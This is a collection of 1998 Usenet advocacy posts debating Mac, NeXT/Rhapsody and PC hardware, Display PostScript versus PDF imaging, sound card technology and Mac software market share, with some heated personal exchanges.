>
> This is really sort of ridiculous, hearing you expound on the virtues of
> old Apple hardware. I have an old Quadra 610 I still use for typing
> Microsoft Word documents. I'd never dream of turning it into a NetBSD
> box; I can do much better with cheap Intel hardware, and I can put
Let's see---cheap Intel hardware is better than a free Quadra (you've
already paid for it). And it already has SCSI built in.
> cast-off equipment into it. Every time I upgrade one of my newer boxes
> it's like upgrading two computers, since I can stick my old memory and
> whatnot into an older box. Do you Mac people still keep those "Mac
> Memory Charts" around for reference?
Memory for PCs is much worse than memory for Macs.
>
> > All I gotta say: the primary advantage of buying and using a Mac is that
> > it is very tractable for an individual and conducive to high levels of
> > productivity across the board. Convert those old 68k Macs you have lying
> > around to UNIX boxes, and you're all set, IMHO. (Rhapsody, done right,
> > will be even better.)
>
> On a 68K Mac. Hello? There was some static on the line, come on? Please
> repeat, over and out.
Why are you protesting so much? It can be done.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Wed, 03 Jun 1998 07:17:45 -0700
Organization: Trilithon Research and Trading
Message-ID: <35755B08.D19A6057@trilithon.com>
References: <3574D79C.CE3EB26E@trilithon.com> <B19A3F17-5FA62@206.165.43.119>
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Lawson English wrote:
* I'll be the first to agree that my technical background
* is spotty, at best, but I'm afraid that you are simply
* wrong here.
* According to Bartels, Beatty and Barsky, in _Introduction
* to Splines for use in Computer Graphics and Geometric
* Modeling_, Bezier curves come in all degrees.
My Killer Bs book is packed in a box right now --- I'll look into
it later on and see if I mis-read the relevant parts.
Cheers,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Wed, 03 Jun 1998 10:53:32 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0306981053330001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3> <35744BAE.8D0074FB@trilithon.com> <rex-0206981607490001@192.168.0.3> <6l1pt1$s9f$1@news.cs.tu-berlin.de> <rex-0206981937120001@192.168.0.3> <6l2okk$bjt$1@news.cs.tu-berlin.de>
In article <6l2okk$bjt$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
:Now you see why some of us wouldn't be happy with GS as a substitute.
:Executing all of this in Yap works fine. No limitcheck, no undefined,
:just a window filling with black.
As an aside, with DPS no longer a part of Mac OS X, what sort of
ramifications does this have for GNUstep? If Apple can make do with just a
PDF-based imaging model, why can't GNUstep? It would probably simplify
things and speed up development. Furthermore, you don't have to give up
the client-server aspect of DPS by adopting a PDF graphic engine. Apple
did, but it's sort of a mystery as to why they really did it.
:> Opened a window appropriately filled with black. It looks like there
:>is some hard limit within Ghostscript on how big certain things can be.
:>It doesn't necessarily mean that it's using fixed-point, but there's is a
:>floating point coordinate space constraint.
:
:It's called a bug in Ghostscript. Have you ever looked at the code?
Yep.
:I have. Shudder.
I share your sentiment. It is rather scary in there. Weren't they
supposed to separate the interpreter part from the drawing engine?
:> If you want uniformity, IMO, it's better to create a library that uses
:>doubles and provides good translation facilities so that a user or
:>developer never has to worry that certain Postscript implementations might
:>not be able to display their really really large data. Taligent *did* get
:>this right.
:
:Sure, or a double-based PS-interpreter.
But you can't guarantee that someone viewing your output will have one.
There's probably some reasonable range that all Postscript interpreters
can handle. The graphics system should be able to target that.
Really, what I want is a layer of abstraction between what's displayed
onscreen and what's output to other formats. IMO, the two shouldn't be
directly tied to one another.
:I am actually considering switching my interpreter
:to pure double based because this may actually be faster than
:the various tests for integer/float polymorphism on current machines,
:and doubles provide sufficent digits to store 32 bit mantissas.
:This is just in the interpreter part, mind you.
Makes a lot of sense.
-Eric
Subject: Re: Where is all the mac software????
From: "Robert A. Decker" <comrade@umich.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
nntp://news.itd.umich.edu/comp.sys.mac.advocacy
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu>
MIME-Version: 1.0
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Date: Wed, 03 Jun 1998 14:52:10 GMT
NNTP-Posting-Date: Wed, 03 Jun 1998 10:52:10 EDT
On Tue, Jun 2, 1998 8:03 PM, edremy <mailto:edremy@chem1.usc.edu> wrote:
> It's especially important to new hardware sales.
Why though? This makes no sense to me. A $200 Nintendo 64 absolutely
blows away the best PC's out there when it comes to game quality. It's not
even close.
(Personally, I don't play games.)
rob
--
<mailto: "Robert A. Decker" comrade@umich.edu>
<http://hmrl.cancer.med.umich.edu/Rob/index.ssi>
Programmer Analyst - Health Media Research Lab
University of Michigan Comprehensive Cancer Center
"Get A Life" quote #5: "In my heart I know you're right, but my perfectly
functioning brain says you're a horse's ass." -Bob Elliott
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 3 Jun 1998 15:02:14 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6napbm.5pt.sal@panix3.panix.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com> <357498E0.8F6C80B3@nstar.net>
On Tue, 02 Jun 1998 19:29:20 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>> And if you want SS or 3d
>> or better bass get better speakers.
>Speakers can't magically generated a surround-sound signal.
My stereo can do a pretty good job of creating synthitic SS from live
radio. I'm sure that this can be done in software. I fail to see any
reason for all this fancy sound hardware. Most of the Midi cards I've
heard still sound like "ice cream truck" music. Wave table might be
a step up from MPU-401, but I'll take a simple Casio keyboard over it any
day of the week.
>> I know a guitar player with an 040 Mac who uses TTS and voice recognition.
>> If a 33mhz 040 with 24mb of RAM can handle TTS, midi and VR, then a pentium
>> should be able to without any problems.
>Hm, an AV 040 Mac? If so, he has an AT&T DSP in there offloading those
>signal-processing functions from the main CPU.
I don't know. But I doubt that a 33mhz 040+DSP would out perform a p100.
>I'm told by musician friends that while the hardware selection is far
>better on PCs, there is much better music synthesis software available
>for the Macintosh.
That might be true. I don't know.
--
sal@panix.com
Salvatore Denaro
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Message-ID: <jpolaski-0306981016500001@d149-212.ce.mediaone.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <joe.ragosta-0206981647230001@wil43.dol.net> <6l1tds$aja$1@newsfep4.sprintmail.com> <joe.ragosta-0206981833530001@elk74.dol.net>
Date: Wed, 03 Jun 1998 15:10:53 GMT
NNTP-Posting-Date: Wed, 03 Jun 1998 10:10:53 CDT
Organization: MediaOne Express -=- Central Region
In article <joe.ragosta-0206981833530001@elk74.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6l1tds$aja$1@newsfep4.sprintmail.com>,
macghod@concentric.net wrote:
>
> > In <joe.ragosta-0206981647230001@wil43.dol.net> Joe Ragosta wrote:
> > > In article <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>,
> > > MACGHOD <Macghod@concentric.net> wrote:
> > >
> > > > Yes, we all know Joe's response, show us the companies leaving the mac.
> > > > How about this Joe,
> > > > 3 years ago a WHOOPING %70 of all developers wrote software for the mac,
> > > > now, ONLY %20 do.
> > >
> > > Oh, good. Some figures.
> > >
> > > Care to document them? Or is this the usual made up set of numbers that
> > > gets spewed all over this group?
> >
> > You snipped the part where I DID document it. Its a link from todays macnn.
>
> Actually, you didn't. You made the above statement, then said something
> about MacNN without attributing the above to MacNN. But now that you've
> clarified it, I found it.
>
>
http://nytsyn.com/IMDS%7CCND7%7Cread%7C/home/content/users/imds/feeds/nytsyn/1998/06/02/cndin/9919-0051-pat_nytimes%7C%7C/home/content/users/imds/feeds/nytsyn/1998/06/02/cndin/9908-0043-pat_nytimes%7C%7C
>
> And you expect people to believe a journalist who apparently pulled the
> numbers out of his *ss? He has no reference, and the statement is
> completely contrary to common sense.
>
> When you can provide a reasonable source of evidence (or a journalist who
> at least cites his source of information), maybe you can make a case.
=====
And contrast this goofy report with MacSoft's 150% increase in sales, and
they make Mac games.
So make a *quality* product and those who play games will buy them.
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 03 Jun 1998 15:12:21 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <357567D5.97F93A3C@nstar.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <rmcassid-0306980206530001@dialin33417.slip.uci.edu>
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Robert Cassidy wrote:
> The rushing pace of technology, or the rushing pace of marketing selling
> technology? I see the latter, where the industry peddles their 5%
> different products to consumers, making it increasingly difficult to
> address utility over choice. While there has been a strong technological
> drive, a great deal of it has been of little utility or of little
> end-result improvement over the previous technology. Rather, much of it is
> technology for the sake of marketing (MMX) or technology with little
> utility (some of the 'extra' functions on audio and video cards, for
> example) or products with little new to offer (a 2% speedup in
> such-and-such a function that PC or Mac World feels necessary to play up
> in nice colorful bar charts).
You say this, but I don't understand what your problem with it might be.
I just don't see the genuine harm, even if we disdain them, in such
technology issues.
I also think that you're focusing on special issues and ignoring larger
collections of significant technological advances. Even more, I think
that you're focusing on the consumerism of technology and ignoring much
more important aspects of the industry's pace.
> In a sense, capitalism has built a tremendously large collection of
> products to choose from that are neither truly fungible nor significantly
> distinguishable. So we cannot adequately say 'give me a sound card' in the
> same way we can say 'give me a gallon of gas' yet the variation from sound
> card to sound card is often so minor as to question why there needs to be
> any variation at all.
Well, I don't want to label you, Bob, but this argument puts me darkly
in mind of Orwellian horrors. Let me ask you this: when you shop for
footwear, do you find it greatly disturbing that there are walls full of
shoes? Do you wonder why there can't just be one type of shoe that
everyone can just wear? 'Give me a sneaker', and you wear it?
I would remind you that you do *not* say 'give me a gallon of gas',
rather you say 'give me a gallon of 87' or 'give me a gallon of '89';
Shell offers five different octane ratings.
If choice is a genuine problem, you might travel to Eastern Europe.
There you can truly say, 'give me some meat', and in general, you won't
have to make any choices. They don't necessarily know exactly what the
meat is, but that's valuable because then you don't know, either. It's
all going to the same place, anyway, why bother with where it came from?
> And a lot of the reason for the volume of differing
> products is this ever-so-minor but constant advance of technology that
> seems to be perceived as more valuable than it really is. At some point a
> threshold gets passed beyond which you really can't tell the difference,
> even though the technobabble on the box would lead you to belive you are
> choosing between two significantly different products.
What do you mean to say, Bob? That *you* can't tell the difference? Then
you're fine right where you are. It just doesn't make any sense for you,
over on your side of the fence, to be complaining about what we do on
our side. Not especially when it sounds suspiciously like so much sour
grapes.
> Its primarily a fault of us, the consumer, for giving in to the marketing.
Ah, I see.
> While I agree that it takes place here as well, also realize that
> technologically-advanced means different things to different people. To
> me, a technologically advanced piece of hardware necessarily must be
> advanced from top to bottom, from reliability to consistency to value to
> how it solves a given problem.
...
[cut]
> Yet my point is also that you don't need to offer *everything* to
> everybody. In fact, there is value sometimes in *not* offering everything,
> especially if you are required to support whatever comes along.
Who's required to support what?
> For an arbitrary Mac vs. an arbitrary PC. Yes. There is considerable value
> to me to know that I can walk across campus, yank the video card out of a
> PowerMac there, shove it into a PowerMac here and know that there won't be
> any driver issues, software issues, or hardware issues to deal with. It's
> not unusual.
Nubus/PCI PowerMac? Communications slot? GeoPort devices? Yada yada
yada...
> While I'll admit that the changing landscape for Mac hardware hasn't
> always been great - the interfaces have changed as much as the PC world.
> But at least I know that within those families, things pretty much just
> work without intervention on my part. I can't say the same for the PC
> people I know.
Bob, the PC market is at least 10 times as big as the Macintosh market.
Does that mean anything to you?
[cut]
> And yet there are large factions in the PC market that keep clamoring for
> more and more consolidation and standardization. To reduce the amount of
> choice.
Well, technically, no. You're playing with apples and oranges, Bob.
For instance, standardization of PPC hardware designs of CHRP actually
would've offered *more* choices.
> The historical individual consumers aren't part of those factions.
> The potential individual conumers are. Corporations are. Time to move the
> computer from the age of mine-is-bigger-than-yours to one of standard
> utility.
Like the combat boot, for instance. Or the paring knife. Right? Or the
VCR. Just trying to flesh out the argument.
> Of course the automakers have done their worst to make sure that
> won't happen to them either - no profit in it.
Hmmmm, heh. I don't want to be pedantic...but product differentiation is
the basis for free-market competition, see? And it's the motive for
technological progress. You're saying to me that you have a problem with
it, and I just can't see what the problem is, except that it somehow
seems to offend your upper-middle-class sensibilities. Too colorful, too
frivolous, too *something*, I guess.
At what level, exactly, do you have a problem, Bob? Is it with certain
companies, certain markets? Maybe it's with the whole capitalistic
system itself?
> > And until Apple gives the market what it wants, despite your objections
> > on arbitrary grounds, it will continue to be The Almost-Dead Company.
>
> So Apple needs to deliver Windows, I guess.
You said it, not me.
> > Actually, that's not quite it. It wasn't until auto*buyers* decided that
> > they *wanted* engines to 'just work' for extended periods of time.
>
> I actually think it all came about when the government started telling
> automaker that cars had to meet certain standards.
This was unfortunate, but it wasn't the reason.
> All of a sudden the
> model changed because it had to. When the options went out the window, the
> Japanese introduced utility. Consumers didn't choose to leave options...
The Japanese didn't introduce utility (not if you're consistently
carrying over "utility" from the 67 Chevy). The Japanese introduced
performance.
> > I don't want you to lose any sleep, so I'll give you the answer: every
> > succeeding model is faster than the previous one. Meanwhile, your Mac
> > has yesterday's 3D acceleration, or none at all. And I've *seen* you
> > complain about the lack of Mac games, Bob.
>
> Sure I have. But not every product sees clear technological improvements
> on the scale that 3D does.
Actually, most of them *do*. Maybe you don't see it, Bob, but that's not
the fault of the market, is it? Of course the highly visible 3D market
makes an impact on your consciousness. Perhaps for me the quality of my
sound card is equally important.
> The reason my Mac might have yesterday's 3D is
> not because of a lack of flexibility on Apple's part aside from the need
> to have to do so many things to bring developers to so many markets that
> they had completely lost their focus. Rather, Apple has provided the
> ability to expand in that area in *exactly* the same way the PC market has
> but the market simply wasn't there. It's not the byproduct of a model of
> simplicity.
This doesn't make any sense. I'm trying to imagine a model of simplicity
in the 3D market that inhibits choice. It doesn't materialize. The 3D
market is based on performance and features and innovation. Simplicity
can't coexist with those bases.
> In a sense it is. But you can also discriminate between those things that
> are unworthy of complexity simply due to the nature of the product and
> those things that are not. I don't see a hugely compelling reason not to
> offer 10/100 autodetect ethernet on the MB, for example. What would a
> competing 10/100 product offer me that is worth having to deal with the
> driver/compatability/etc. issues?
What if your ethernet doesn't handle link disconnects well? What if it
has poor performance? What if it doesn't broadcast AppleTalk well? What
if it costs $200 simply because it lacks competitors?
> 3D on the other hand is different, it's
> evolving rapidly as you suggest. I don't see the typical user gaining any
> value in sound technology above what we've seen over the last few years.
No offense, Bob, but that's because you don't know the first thing about
it. But that's no problem, all you have to do is find an old Mac with
8-bit sound and internal speaker. The Mac SE will do. Play an 11KHz .snd
file with, say, SoundMaster.
Now fire up your shiny newest PowerMac. Play a 44Khz redbook audio track
from CD through stereo speakers plugged into your 16-bit sound card.
Now fire up a new Pentium II machine with an advanced 3D sound card. Put
some surround-sound speakers on it, turn on the subwoofer, start up
Total Annihilation, turn on the music, the 3D sound, and turn those
sound effects way up.
Compare. You can get home-theater sound in a $200 package that rivals
the THX technology George Lucas spent millions for. If you can't see
that, you're just missing the big picture.
> The specialized user is a different matter. You can pick and choose where
> and when it's time to say: 'Y'now, it just isn't going to improve quickly
> enough to subject users to all those issues'. Clearly 3D is nowhere near
> that point.
"Subject users"? Again, not to offend, but that's highly bolshevik.
Offering choices to people doesn't "subject them" to anything.
> I'm not advocating a closed box, rather I'm trying to steer clear of a box
> in which each and every item becomes a variable to be dealt with.
How about the network computer? Or the NetPC? Or the sub-$1000 Media-GX
PC? Those choices are out there, too, Bob. I don't get your point.
MJP
Date: Wed, 03 Jun 1998 11:16:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Intel Merced delays
Message-ID: <joe.ragosta-0306981116090001@wil87.dol.net>
References: <01bd8eac$145d9b80$04387880@test1> <6l3o21$3ge@post.gsfc.nasa.gov>
In article <6l3o21$3ge@post.gsfc.nasa.gov>,
robinson@next532-2.gsfc.nasa.gov (Scott Robinson) wrote:
> [cue the sinister music...]
>
> Conspiracy Theory!
>
> NT 5.0: late. later. later. later...
> Merced: late. later. later. later...
>
> Coincidence? Surely you jest!
Of course not.
Merced is delayed while Intel tries to find new math bugs to incorporate
and NT 5.0 is delayed for MS to find some unused security bugs.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 1 Jun 98 16:14:47
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun1161447@slave.doubleu.com>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
<6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com>
<6ji0m0$at4$1@crib.bevc.blacksburg.va.us>
<6jiaqk$6sf$4@news.xmission.com>
<SCOTT.98May29151643@slave.doubleu.com> <6kpcnn$kuo$5@ns3.vrx.net>
<6kun0a$88t$1@news.spacelab.net> <3572E1F4.D8B5A1C3@nstar.net>
In-reply-to: "Michael J. Peck"'s message of Mon, 01 Jun 1998 17:16:36 +0000
In article <3572E1F4.D8B5A1C3@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
Charles W. Swiger wrote:
> Another problem is syncronization. Monolithic drawing engines
> generally are implicitly syncronized (ie, the app does a graphics
> call which runs to completion before returning). Again, they
> just aren't designed with the notion of client/server drawing and
> the potential for the two running at different speeds.
Does this affect performance on the local side of the graphics
engine? Is it inherently faster to perform implicit
synchronization when remotability is not a concern?
This is one of those areas where the waters get _very_ muddy. The
problem is that for most non-trivial drawing sequences, either
alternative can be done about as fast as the other. Which is not to
say that a single program can generally be converted from a monolithic
engine to a client/server model while retaining the same performance!
Rather, from the set of solutions using each model, you can most
likely find a monolithic solution and a client/server solution which
have more or less the same speed. [Put another way, for any given
monolithic solution, one could probably write a client/server solution
with competitive performance.]
That said, if you take the maximum performance client/server solution,
and recode it as a monolithic solution, the monolithic solution will
be faster. This is exactly akin to taking the maximum performance OOP
solution and recoding it procedurally. In either case, you lose the
power of the original's abstraction in the process. That overhead
does give you _some_ advantage...
An interesting aspect of this is that coding the drawing sequences
with a client/server model in mind generally results in code that also
runs faster than "obvious" code under monolithic systems. The reason
is that client/server rewards programs which go long periods without
synchronization. Monolithic systems sometimes don't get their
implicit synchronization automagically, sometimes they have to
explicitely synchronize things. So long strings of calls with no need
to synchronize can be faster.
[I'm thinking of things like graphics contexts, here. If you run
three drawing sequences to three graphics contexts sequentially, it
will generally be faster than doing the drawing in parallel, because
the drawing subsystem is caching the last context behind the scenes.
In a client/server system this will often be obvious from the code, in
a monolithic system it generally is not obvious from the code.]
I think it's _far_ better off to use a client/server model, with a
monolithic implementation. Under Rhapsody, local windowserver
communication happens via shared memory, while remote windowserver
communication happens over a TCP/IP stream. There's no real reason
you couldn't pull the server closer to the client, thereby getting the
advantage of the monolithic system's theoretically better speed, and
the advantages of the client/server system's better abstraction.
Run a program sometime with -NXAllWindowsRetained and -NXSyncPS (-NS
for OpenStep). This forces all windows to be retained (so you can see
the drawing immediately), and all DPS communication to be implicitely
synchronized. It does slow things down, but it also allows you to see
how a program is drawing things. One of my favorite demos was running
Terminal or Stuart with these options, and a tall window, and doing
"echo '^[[4;7m'; cat /etc/termcap". (Use Control-V Escape to get ^[).
On machines slower than my PPro200, you could see it layer in the
background, the inverse character's background, the underline, then
the text itself.
Unfortunately, that optimization was done to make things "too fast" on
'040 hardware, it's really hard to see this on most modern machines,
they're just too fast :-(,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 3 Jun 1998 16:20:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6natuo.5pt.sal@panix3.panix.com>
References: <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <6l1rs6$pug$1@new-news.cc.brandeis.edu> <slrn6naogp.5pt.sal@panix3.panix.com> <3575687E.7DA200AB@nstar.net>
On Wed, 03 Jun 1998 15:15:10 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>You seem to care so much.
I do. I work in an industry where there is a lot of change, and a lot of
it for the worse.
> What does it mean when you spend so much time
>observing and criticizing others' habits? Maybe you're a professional
>psychiatrist.
Why do you post just to insult people? My guess is a deep sense of insecurity.
Maybe you were a shy sensitive kid who was picked on by bullies. Maybe you
have a need to prove how smart you are. Either way, do everyone (including
yourself) a favor and grow up.
>Maybe there's something else going on.
Another personal insult? Are you suggesting that I am crazy? If I am mad,
then I am mad by north-north-west. When the wind is southerly, I know a
hawk from a handsaw.
(With apologies to Shakespeare)
--
sal@panix.com
Salvatore Denaro
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 03 Jun 1998 16:41:25 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35757CB5.6CDC6D14@nstar.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com> <357498E0.8F6C80B3@nstar.net> <slrn6napbm.5pt.sal@panix3.panix.com>
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NNTP-Posting-Date: 3 Jun 1998 16:46:24 GMT
Salvatore Denaro wrote:
>
> On Tue, 02 Jun 1998 19:29:20 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
> >> And if you want SS or 3d
> >> or better bass get better speakers.
> >Speakers can't magically generated a surround-sound signal.
>
> My stereo can do a pretty good job of creating synthitic SS from live
> radio. I'm sure that this can be done in software.
It can't. Surround can be faked, which is what you're experiencing with
your stereo. Faking surround degrades the signal significantly, but on
certain signals can achieve a "brighter" tone, which probably accounts
for its popularity.
A friend recently complained that his father always turns the surround
on with his computer speakers, because the father likes it. The friend
finds it "horribly distorted" because none of the music his father
listens to has proper surround sound encoded in the media, nor does his
sound card properly support it.
> I fail to see any
> reason for all this fancy sound hardware. Most of the Midi cards I've
> heard still sound like "ice cream truck" music.
With a set of MIDI patches the music is fine. The built-in MIDI voices
on a low-end card are what you're probably used to hearing, either that
or synthesized FM (Yamaha OPL-3/4 or whatever).
Some sound cards are appearing with built-in support for decoding MP3
signals. On my machine, doing this in software requires an average of
35% of my CPU, making simultaneous MP3 playback, Netscape scrolling, and
software compilation painful in the extreme. I don't see why anybody
would have a problem with this sound card advance, for instance.
New sound cards also come with support for 3D sound APIs, namely
Aureal's A3D and Microsoft's DirectSound. These APIs allow games to
encode very realistic panning sound and spatial sound organization in
their effects. You can convincingly place sound in any polar position
around the listener's head with modern speakers or any pair of stereo
headphones. In Myth, for instance, were the game to make use of it,
sounds of battle could come from any direction offscreen. In a
multimedia presentation or webpage, different areas of the screen could
place sound in different virtual areas, enlivening the show.
New sound cards are also bucking the old Sound Blaster standard and
adopting newer, faster, higher-bandwidth PCI-based designs that offload
signal processing from the CPU to more efficient DSPs and ASICs on the
cards. They also feature much-improved plug-and-play support and higher
amounts of onboard memory, increasing the amount of patch or wave data
that can be stored locally (instead of swapping).
When I used a Mac, I was proud of my sound support and didn't care what
gadgets the PC folks were using. Now that I use PCs I have more choice
and I've been interested to follow the advances (and sometimes to spend
money on them). I don't have to, and on other things I couldn't give a
rat's ass. But I appreciate the choice and I suspect you would, too, if
you did much gaming or multimedia work.
[sigh] There, that's as civil as I can be on the issue at this point.
End of thread.
> Wave table might be
> a step up from MPU-401, but I'll take a simple Casio keyboard over it any
> day of the week.
Listening to good wave music on two different cards (one with a
wavetable and one without) yields dramatically different results. One of
my machines has the Sound Blaster 16 I mentioned previously; it requires
an upgrade for a wavetable. My brother's Ensoniq SoundScape has a
built-in wavetable. We both used to play Warcraft II head-to-head, and
listening to the music between the rooms was strikingly enlightening in
this regard. His wavetable made it sound much more geniune, lively, and
overall pleasant to hear. It was truer to the original instruments
envisioned by the author of the music.
Faithful reproduction of an artist's work is the principal goal of this
technology. If that's not important to you, that's totally fine. It's
not important to everybody and it's not always important to me (as I
said, my card doesn't have a wavetable).
I don't see how you can make an argument for removing this choice from
the market.
> >Hm, an AV 040 Mac? If so, he has an AT&T DSP in there offloading those
> >signal-processing functions from the main CPU.
>
> I don't know. But I doubt that a 33mhz 040+DSP would out perform a p100.
I don't know, and you didn't previously mention that there was a
comparison. You said that he did just fine with his 040 Mac, you didn't
say that it outperformed a Pentium 100 (which I doubt, anyway, unless
there was a serious RAM deficiency in the Pentium-based machine; signal
processing is RAM-intensive).
MJP
PS. For more information on the issue, here is the article I remember
reading around a month ago. I hope this helps to demonstrate that I'm
not an expert, but simply an interested consumer who went looking in the
first place that came to mind for information that would help inform a
purchasing decision.
Time yourself on reading the article. Calculate the value of your time,
and decide whether it's worth having read the article. Keep in mind that
you don't get paid for posting to USENET.
http://www.gamecenter.com/Hardware/Roundup/Sound
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 03 Jun 1998 16:52:44 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35757F5C.798BA612@nstar.net>
References: <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <6l1rs6$pug$1@new-news.cc.brandeis.edu> <slrn6naogp.5pt.sal@panix3.panix.com> <3575687E.7DA200AB@nstar.net> <slrn6natuo.5pt.sal@panix3.panix.com>
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NNTP-Posting-Date: 3 Jun 1998 16:57:41 GMT
Salvatore Denaro wrote:
> Why do you post just to insult people? My guess is a deep sense of insecurity.
> Maybe you were a shy sensitive kid who was picked on by bullies. Maybe you
> have a need to prove how smart you are. Either way, do everyone (including
> yourself) a favor and grow up.
I used to read articles from talk.politics.libertarian on occasion, and
one of the things I noticed was a lot of psychobabble about other people
in lieu of direct conversation. The general gist of the thing was "the
reason you hold your opinions is..." followed by a postulated discussion
of the person's upbringing, habits, and resulting psychological profile.
The "shy, sensitive kid" post-prediction was by far the most common,
usually used as a predictor for homosexual, sadistic/masochistic, and/or
spousally abusive behavior. Following that was the "picked on" one,
normally used to "explain" antisocial, hyperactive, or ADD-related
behavior. Evidently, the initially-surprising tangents were a tactic to
draw attention away from the original discussion toward a highly
embarassing, controversial, confusing, personal, and sometimes haunting
area of the opponent's character. Nevermind that, like horoscopes, the
post-predictions normally involved vague generalities that apply to the
vast majority of the population, or that they were irrelevant, they were
typically quite popular devices.
Just an interesting thought.
> >Maybe there's something else going on.
>
> Another personal insult? Are you suggesting that I am crazy?
Actually, no Salvator, I'm not. I'm suggesting that you are projecting
your own preferences on other people and that the resulting
inconsistencies are causing you to experience some amounts of
condescension, alienation, even obsession, perhaps. It's a perfectly
normal phenomenon, one of which I'm continually guilty, especially in a
topic as heated as advocacy. Even so, it's something you need to combat;
it doesn't speak well of either one of us.
> If I am mad,
> then I am mad by north-north-west. When the wind is southerly, I know a
> hawk from a handsaw.
>
> (With apologies to Shakespeare)
:-)
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Message-ID: <dR8msQ1D2L14@cc.usu.edu>
From: root@127.0.0.1
Date: 21 May 98 19:35:18 MDT
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <356334fd.0@206.25.228.5>
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In <356334fd.0@206.25.228.5> John Kheit wrote:
> macghod@concentric.net wrote:
> > 3) How many pc owners will buy rhapsody 1.o for intel? It would
> > be preety stupid knowing its the last version.
>
> This is the idiot mistake sj seems to continously make. Pre-announcing
> the death of something to make sure it's a failure. Fine, he wants
> to be a bonehead and kill the intel version, then why on earth
> bother releasing 1.0 at all!?! It's idiocy. First NeXT hardware,
> then the newton, and now rhapsody intel. I hope to god there is
> information at play that we are not privy to that makes all of the
> above correct moves, but on the surface it just is darn stupid.
>
I'd rather have him announce it now and let us avoid it, then
do what he did with NeXT owners and blind-side us.
He's doing us a favor...
Of course it would be nicer still not to scrap rhapsody/intel at all,
